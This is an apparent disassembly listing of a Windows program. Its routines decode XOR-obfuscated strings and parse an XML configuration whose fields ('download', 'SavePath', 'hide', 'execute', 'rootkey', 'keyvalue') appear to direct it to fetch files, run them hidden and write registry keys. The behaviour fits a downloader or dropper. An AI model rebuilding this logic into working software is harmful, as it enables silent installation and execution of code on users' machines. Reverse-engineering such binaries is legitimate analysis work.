		mov	[ebp-20h], ecx
		mov	esi, 7FFh
		push	edi
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-4023h]
		mov	[ebp-4024h], dl
		rep stosd
		stosw
		stosb
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-2023h]
		mov	[ebp-2024h], dl
		rep stosd
		stosw
		xor	ebx, ebx
		lea	ecx, [ebp-10h]
		mov	[ebp-1Ch], ebx
		stosb
		call	sub_4317AE
		lea	ecx, [ebp-18h]
		mov	dword ptr [ebp-4], 1
		call	sub_4317AE
		push	63h
		mov	byte ptr [ebp-4], 2
		call	dword_4330E0	; Sleep
		mov	esi, [ebp+10h]
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-6024h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword_4330C8	; lstrcpynA
		push	offset dword_437110
		lea	ecx, [ebp-10h]
		call	sub_43179C
		mov	[ebp+10h], esi
		xor	edi, edi
		shr	dword ptr [ebp+10h], 1
		jz	loc_423231


loc_4231A1:				; CODE XREF: sub_4230F8+133j
		test	ebx, ebx
		jle	short loc_4231BD
		mov	eax, [ebp-10h]
		mov	ecx, [eax-8]
		mov	eax, edi
		cdq
		idiv	ecx
		test	eax, eax
		jle	short loc_4231BD
		mov	eax, edi
		cdq
		idiv	ecx
		mov	esi, edx
		jmp	short loc_4231BF
; ---------------------------------------------------------------------------


loc_4231BD:				; CODE XREF: sub_4230F8+ABj
					; sub_4230F8+BAj
		mov	esi, edi


loc_4231BF:				; CODE XREF: sub_4230F8+C3j
		push	2
		lea	eax, [ebp-6024h]
		push	ebx
		push	eax
		lea	eax, [ebp+0Ch]
		lea	ecx, [ebp-24h]
		push	eax
		call	sub_421ACF
		push	eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A8
		lea	ecx, [ebp+0Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_4317A2
		push	dword ptr [ebp-18h]
		mov	ecx, [ebp-20h]
		call	sub_423288
		mov	ecx, [ebp-10h]
		movsx	ecx, byte ptr [esi+ecx]
		xor	eax, ecx
		push	eax
		lea	eax, [ebp-12h]
		push	offset dword_437120
		push	eax
		call	dword_4331E4	; sprintf
		lea	eax, [ebp-12h]
		push	eax
		lea	eax, [ebp-2024h]
		push	eax
		call	sub_4318D0	; strcat
		add	esp, 14h
		inc	edi
		inc	ebx
		inc	ebx
		cmp	edi, [ebp+10h]
		jb	loc_4231A1


loc_423231:				; CODE XREF: sub_4230F8+A3j
		lea	eax, [ebp-2024h]
		push	eax
		lea	eax, [ebp-4024h]
		push	eax
		call	sub_4318B8	; strcpy
		pop	ecx
		lea	eax, [ebp-4024h]
		pop	ecx
		mov	ecx, [ebp+8]
		push	eax
		call	sub_43178A
		mov	dword ptr [ebp-1Ch], 1
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_4230F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423288	proc near		; CODE XREF: sub_4230F8+FCp

var_80		= byte ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		and	[ebp+var_7C], 0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	[ebp+var_80], 30h
		mov	[ebp+var_78], 31h
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 32h
		mov	[ebp+var_6C], 2
		mov	[ebp+var_68], 33h
		mov	[ebp+var_64], 3
		mov	[ebp+var_60], 34h
		mov	[ebp+var_5C], 4
		mov	[ebp+var_58], 35h
		mov	[ebp+var_54], 5
		mov	[ebp+var_50], 36h
		mov	[ebp+var_4C], 6
		mov	[ebp+var_48], 37h
		mov	[ebp+var_44], 7
		mov	[ebp+var_40], 38h
		mov	[ebp+var_3C], 8
		mov	[ebp+var_38], 39h
		mov	[ebp+var_34], 9
		mov	[ebp+var_30], 41h
		mov	[ebp+var_2C], 0Ah
		mov	[ebp+var_28], 42h
		mov	[ebp+var_24], 0Bh
		mov	[ebp+var_20], 43h
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], 44h
		mov	[ebp+var_14], 0Dh
		mov	[ebp+var_10], 45h
		mov	[ebp+var_C], 0Eh
		mov	[ebp+var_8], 46h
		mov	[ebp+var_4], 0Fh
		call	dword_4331B0	; _strdup
		push	eax
		call	dword_4331B4	; _mbsupr
		pop	ecx
		xor	esi, esi
		cmp	byte ptr [eax],	30h
		pop	ecx
		mov	edx, eax
		jnz	short loc_423365
		cmp	byte ptr [eax+1], 58h
		jnz	short loc_423365
		lea	edx, [eax+2]


loc_423365:				; CODE XREF: sub_423288+D2j
					; sub_423288+D8j
		mov	byte ptr [ebp+arg_0+3],	1


loc_423369:				; CODE XREF: sub_423288+10Dj
		mov	cl, [edx]
		test	cl, cl
		jz	short loc_423397
		xor	edi, edi
		lea	ebx, [ebp+var_80]


loc_423374:				; CODE XREF: sub_423288+F9j
		cmp	cl, [ebx]
		jz	short loc_423383
		inc	edi
		add	ebx, 8
		cmp	edi, 10h
		jge	short loc_423397
		jmp	short loc_423374
; ---------------------------------------------------------------------------


loc_423383:				; CODE XREF: sub_423288+EEj
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_42338C
		shl	esi, 4


loc_42338C:				; CODE XREF: sub_423288+FFj
		or	esi, [ebp+edi*8+var_7C]
		inc	edx
		and	byte ptr [ebp+arg_0+3],	0
		jmp	short loc_423369
; ---------------------------------------------------------------------------


loc_423397:				; CODE XREF: sub_423288+E5j
					; sub_423288+F7j
		push	eax
		call	dword_4331D4	; free
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_423288	endp


; =============== S U B	R O U T	I N E =======================================



sub_4233A8	proc near		; CODE XREF: sub_42852F+99Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	ecx
		mov	ecx, esp
		mov	[esp+18h+var_4], esp
		push	offset dword_437124
		call	sub_43178A
		mov	ecx, esi
		call	sub_424B35
		mov	eax, [esp+14h+arg_4]
		xor	ebx, ebx
		cmp	eax, ebx
		jle	loc_423481
		mov	ecx, [esp+14h+arg_0]
		mov	edi, dword_4330CC
		mov	[esp+14h+arg_4], eax
		mov	ebp, offset byte_439CB0
		lea	esi, [ecx+4000h]


loc_4233EE:				; CODE XREF: sub_4233A8+D3j
		lea	eax, [esi-4000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi-2000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		push	ebp
		push	esi
		call	edi	; lstrcpyA
		lea	eax, [esi+2000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+4000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+6000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+0E000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+0A000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+8000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+0C000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		mov	[esi+10001h], bl
		mov	byte ptr [esi+10002h], 1
		mov	[esi+10003h], bl
		mov	[esi+10004h], bl
		mov	[esi+10000h], bl
		mov	[esi+10008h], ebx
		add	esi, 1400Ch
		dec	[esp+14h+arg_4]
		jnz	loc_4233EE


loc_423481:				; CODE XREF: sub_4233A8+27j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
sub_4233A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_423489	proc near		; CODE XREF: sub_42852F+9D6p
		mov	eax, offset loc_43202D
		call	sub_4318CA	; _EH_prolog
		mov	eax, 2134h
		call	sub_431860
		push	ebx
		push	esi
		push	edi
		mov	[ebp-28h], ecx
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-14h], ebx
		push	ecx
		mov	byte ptr [ebp-4], 1
		mov	ecx, esp
		mov	[ebp-2Ch], esp
		push	offset aParsexml ; "ParseXML()\n"
		call	sub_43178A
		mov	ecx, [ebp-28h]
		call	sub_424B35
		cmp	[ebp+8], ebx
		jnz	short loc_4234D9
		push	80004003h
		call	sub_431AB2


loc_4234D9:				; CODE XREF: sub_423489+44j
		mov	ecx, [ebp+8]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4243E7
		push	dword ptr [eax]
		lea	ecx, [ebp-14h]
		call	sub_4264A7
		lea	ecx, [ebp-1Ch]
		call	sub_4264D2
		mov	edi, offset aS	; "%s"


loc_4234FC:				; CODE XREF: sub_423489+CA3j
		push	ebx
		lea	ecx, [ebp-14h]
		call	sub_4264DF
		test	al, al
		jnz	loc_424131
		push	offset aConfigversio_0 ; "configversion"
		lea	ecx, [ebp-0C0h]
		call	sub_424152
		mov	esi, eax
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 2
		jnz	short loc_423532
		push	80004003h
		call	sub_431AB2


loc_423532:				; CODE XREF: sub_423489+9Dj
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-84h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-84h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0C0h]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		test	bl, bl
		jz	loc_423633
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_423583
		push	80004003h
		call	sub_431AB2


loc_423583:				; CODE XREF: sub_423489+EEj
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-0D0h]
		push	eax
		call	sub_42444B
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 3
		test	ecx, ecx
		jz	short loc_4235A3
		call	sub_424244
		jmp	short loc_4235A5
; ---------------------------------------------------------------------------


loc_4235A3:				; CODE XREF: sub_423489+111j
		xor	eax, eax


loc_4235A5:				; CODE XREF: sub_423489+118j
		push	eax
		lea	eax, [ebp-2140h]
		push	edi
		push	eax
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-0D0h]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-0C8h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		mov	byte ptr [ebp-4], 4
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset aWrConfigversio ; "WR\\configversion"
		call	sub_43178A
		lea	ecx, [ebp-100h]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		push	ecx
		lea	eax, [ebp-2140h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_43178A
		lea	ecx, [ebp-100h]
		call	sub_426DB8
		lea	ecx, [ebp-100h]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF


loc_423633:				; CODE XREF: sub_423489+E4j
		push	offset aPaid	; "paid"
		lea	ecx, [ebp-3Ch]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-14h], 0
		mov	byte ptr [ebp-4], 6
		jnz	short loc_423656
		push	80004003h
		call	sub_431AB2


loc_423656:				; CODE XREF: sub_423489+1C1j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-94h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-94h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		test	bl, bl
		jz	loc_423754
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4236A4
		push	80004003h
		call	sub_431AB2


loc_4236A4:				; CODE XREF: sub_423489+20Fj
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_42444B
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 7
		test	ecx, ecx
		jz	short loc_4236C4
		call	sub_424244
		jmp	short loc_4236C6
; ---------------------------------------------------------------------------


loc_4236C4:				; CODE XREF: sub_423489+232j
		xor	eax, eax


loc_4236C6:				; CODE XREF: sub_423489+239j
		push	eax
		lea	eax, [ebp-2140h]
		push	edi
		push	eax
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-0C4h]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		mov	byte ptr [ebp-4], 8
		mov	ecx, esp
		mov	[ebp-0C8h], esp
		push	offset aWrP	; "WR\\p"
		call	sub_43178A
		lea	ecx, [ebp-140h]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		push	ecx
		lea	eax, [ebp-2140h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 9
		call	sub_43178A
		lea	ecx, [ebp-140h]
		call	sub_426DB8
		lea	ecx, [ebp-140h]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF


loc_423754:				; CODE XREF: sub_423489+205j
		push	offset aNextupdate ; "nextupdate"
		lea	ecx, [ebp-9Ch]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-14h], 0
		mov	byte ptr [ebp-4], 0Ah
		jnz	short loc_42377A
		push	80004003h
		call	sub_431AB2


loc_42377A:				; CODE XREF: sub_423489+2E5j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-44h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-44h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-9Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		test	bl, bl
		jz	loc_423865
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4237C5
		push	80004003h
		call	sub_431AB2


loc_4237C5:				; CODE XREF: sub_423489+330j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_42444B
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 0Bh
		test	ecx, ecx
		jz	short loc_4237E2
		call	sub_424244
		jmp	short loc_4237E4
; ---------------------------------------------------------------------------


loc_4237E2:				; CODE XREF: sub_423489+350j
		xor	eax, eax


loc_4237E4:				; CODE XREF: sub_423489+357j
		push	eax
		lea	eax, [ebp-2140h]
		push	edi
		push	eax
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-4Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		lea	eax, [ebp-2140h]
		push	eax
		call	dword_4331A0	; atol
		mov	esi, eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_4331A4	; time
		pop	ecx
		add	[ebp-1Ch], esi
		pop	ecx
		push	80000000h
		push	1
		push	0
		push	ecx
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset aWrNextupdate ; "WR\\nextupdate"
		call	sub_43178A
		lea	ecx, [ebp-120h]
		call	sub_426584
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-120h]
		mov	byte ptr [ebp-4], 0Ch
		call	sub_426843
		lea	ecx, [ebp-120h]
		mov	byte ptr [ebp-4], 1
		call	sub_4266D6


loc_423865:				; CODE XREF: sub_423489+326j
		push	offset aDownload ; "download"
		lea	ecx, [ebp-54h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-14h], 0
		mov	byte ptr [ebp-4], 0Dh
		jnz	short loc_423888
		push	80004003h
		call	sub_431AB2


loc_423888:				; CODE XREF: sub_423489+3F3j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-0DCh]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-0DCh]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		test	bl, bl
		jz	loc_4240FC
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4238D6
		push	80004003h
		call	sub_431AB2


loc_4238D6:				; CODE XREF: sub_423489+441j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-18h]
		push	eax
		call	sub_4243E7
		mov	eax, [ebp-24h]
		mov	ecx, [ebp+0Ch]
		imul	eax, 1400Ch
		mov	byte ptr [ebp-4], 0Eh
		mov	ebx, 80004003h
		lea	edi, [eax+ecx+0A000h]


loc_4238FE:				; CODE XREF: sub_423489+C5Dj
		push	0
		lea	ecx, [ebp-18h]
		call	sub_4264DF
		test	al, al
		jnz	loc_4240EB
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_42391C
		push	ebx
		call	sub_431AB2


loc_42391C:				; CODE XREF: sub_423489+48Bj
		mov	ecx, [ebp-18h]
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4243E7
		mov	byte ptr [ebp-4], 0Fh


loc_42392C:				; CODE XREF: sub_423489+BDEj
		push	0
		lea	ecx, [ebp-10h]
		call	sub_4264DF
		test	al, al
		jnz	loc_42406C
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_42394A
		push	ebx
		call	sub_431AB2


loc_42394A:				; CODE XREF: sub_423489+4B9j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_42444B
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 10h
		test	ecx, ecx
		jz	short loc_42396A
		call	sub_424244
		jmp	short loc_42396C
; ---------------------------------------------------------------------------


loc_42396A:				; CODE XREF: sub_423489+4D8j
		xor	eax, eax


loc_42396C:				; CODE XREF: sub_423489+4DFj
		push	eax
		lea	eax, [ebp-2140h]
		push	offset aS	; "%s"
		push	eax
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-0A4h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		push	offset aRootkey	; "rootkey"
		lea	ecx, [ebp-0CCh]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 11h
		jnz	short loc_4239B3
		push	ebx
		call	sub_431AB2


loc_4239B3:				; CODE XREF: sub_423489+522j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-5Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0CCh]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_4239FE
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-2000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_4239FE:				; CODE XREF: sub_423489+55Fj
		push	offset aKey	; "key"
		lea	ecx, [ebp-0ACh]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 12h
		jnz	short loc_423A24
		push	80004003h
		call	sub_431AB2


loc_423A24:				; CODE XREF: sub_423489+58Fj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-64h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-64h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0ACh]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423A69
		lea	eax, [ebp-2140h]
		push	eax
		push	edi
		call	dword_4330CC	; lstrcpyA


loc_423A69:				; CODE XREF: sub_423489+5D0j
		push	offset aKeyvalue ; "keyvalue"
		lea	ecx, [ebp-0D8h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 13h
		jnz	short loc_423A8F
		push	80004003h
		call	sub_431AB2


loc_423A8F:				; CODE XREF: sub_423489+5FAj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-6Ch]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-6Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0D8h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423ADA
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+2000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423ADA:				; CODE XREF: sub_423489+63Bj
		push	offset aRequiredfile ; "requiredfile"
		lea	ecx, [ebp-0B4h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 14h
		jnz	short loc_423B00
		push	80004003h
		call	sub_431AB2


loc_423B00:				; CODE XREF: sub_423489+66Bj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-74h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-74h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0B4h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423B4B
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+4000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423B4B:				; CODE XREF: sub_423489+6ACj
		push	offset aFilename ; "filename"
		lea	ecx, [ebp-0D4h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 15h
		jnz	short loc_423B71
		push	80004003h
		call	sub_431AB2


loc_423B71:				; CODE XREF: sub_423489+6DCj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-7Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0D4h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423BBC
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-0A000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423BBC:				; CODE XREF: sub_423489+71Dj
		push	offset aParameters ; "parameters"
		lea	ecx, [ebp-0BCh]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 16h
		jnz	short loc_423BE2
		push	80004003h
		call	sub_431AB2


loc_423BE2:				; CODE XREF: sub_423489+74Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-30h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-30h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0BCh]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423C2D
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-8000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423C2D:				; CODE XREF: sub_423489+78Ej
		push	offset aSaveas	; "SaveAs"
		lea	ecx, [ebp-0E0h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 17h
		jnz	short loc_423C53
		push	80004003h
		call	sub_431AB2


loc_423C53:				; CODE XREF: sub_423489+7BEj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-8Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0E0h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423CA4
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-6000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423CA4:				; CODE XREF: sub_423489+805j
		push	offset aSavepath ; "SavePath"
		lea	ecx, [ebp-38h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 18h
		jnz	short loc_423CC7
		push	80004003h
		call	sub_431AB2


loc_423CC7:				; CODE XREF: sub_423489+832j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-34h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-34h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-38h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423D0F
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-4000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423D0F:				; CODE XREF: sub_423489+870j
		push	offset aHide	; "hide"
		lea	ecx, [ebp-48h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 19h
		jnz	short loc_423D32
		push	80004003h
		call	sub_431AB2


loc_423D32:				; CODE XREF: sub_423489+89Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-40h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-40h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-48h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423D7F
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423D78
		and	byte ptr [edi+0A001h], 0
		jmp	short loc_423D7F
; ---------------------------------------------------------------------------


loc_423D78:				; CODE XREF: sub_423489+8E4j
		mov	byte ptr [edi+0A001h], 1


loc_423D7F:				; CODE XREF: sub_423489+8DBj
					; sub_423489+8EDj
		push	offset aExecute	; "execute"
		lea	ecx, [ebp-58h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Ah
		jnz	short loc_423DA2
		push	80004003h
		call	sub_431AB2


loc_423DA2:				; CODE XREF: sub_423489+90Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-50h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-50h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423DEF
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423DE8
		and	byte ptr [edi+0A002h], 0
		jmp	short loc_423DEF
; ---------------------------------------------------------------------------


loc_423DE8:				; CODE XREF: sub_423489+954j
		mov	byte ptr [edi+0A002h], 1


loc_423DEF:				; CODE XREF: sub_423489+94Bj
					; sub_423489+95Dj
		push	offset aWait	; "wait"
		lea	ecx, [ebp-68h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Bh
		jnz	short loc_423E12
		push	80004003h
		call	sub_431AB2


loc_423E12:				; CODE XREF: sub_423489+97Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-60h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-60h]
		neg	ebx
